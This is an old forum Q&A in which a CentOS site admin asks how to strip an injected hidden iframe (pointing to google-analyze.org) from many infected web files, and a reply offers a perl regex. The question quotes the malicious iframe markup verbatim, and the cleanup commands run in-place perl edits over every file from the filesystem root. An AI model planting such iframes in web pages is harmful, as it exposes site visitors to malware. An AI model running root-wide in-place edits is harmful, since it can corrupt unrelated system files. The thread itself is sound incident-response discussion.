?
Solved

HTML: Iframe infection

Posted on 2009-12-21
1
Medium Priority
?
328 Views
Last Modified: 2013-11-08
Using Linux Centos
some members reported when visiting the site using avast they get a HTML:Iframe infection , so i ran this commend :
find / -type f | xargs grep -l 'google-analyze.org'  2>/dev/null

and noticed sooo many files are infected with this line " <iframe src="http://google-analyze.org/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> "

whats the best way to solve this and remove the line above from my files?

something like this perhaps?
find / -type f | xargs grep -l '<iframe src="http://google-analyze.org'| xargs perl -pi -e 's/^.*\<iframe.*$/ /g'
the only issue with above i see is if the page has other iframe other than the google-analyze.org.

Thanks,
0
Comment
Question by:Raul77
1 Comment
 
LVL 14

Accepted Solution

by:
jb1dev earned 2000 total points
ID: 26101089
How about changing the perl regex to this:

's/http:\/\/google-analyze\.org//g'

0

Featured Post

Free Tool: Subnet Calculator

The subnet calculator helps you design networks by taking an IP address and network mask and returning information such as network, broadcast address, and host range.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Fine Tune your automatic Updates for Ubuntu / Debian
Lease-to-own eliminates the expenditure of hardware replacement and allows you to pay off the server over time. Usually, this is much cheaper than leasing servers. Think of lease-to-own as credit without interest.
Learn how to get help with Linux/Unix bash shell commands. Use help to read help documents for built in bash shell commands.: Use man to interface with the online reference manuals for shell commands.: Use man to search man pages for unknown command…
Learn how to navigate the file tree with the shell. Use pwd to print the current working directory: Use ls to list a directory's contents: Use cd to change to a new directory: Use wildcards instead of typing out long directory names: Use ../ to move…
Suggested Courses
Course of the Month17 days, 13 hours left to enroll

830 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question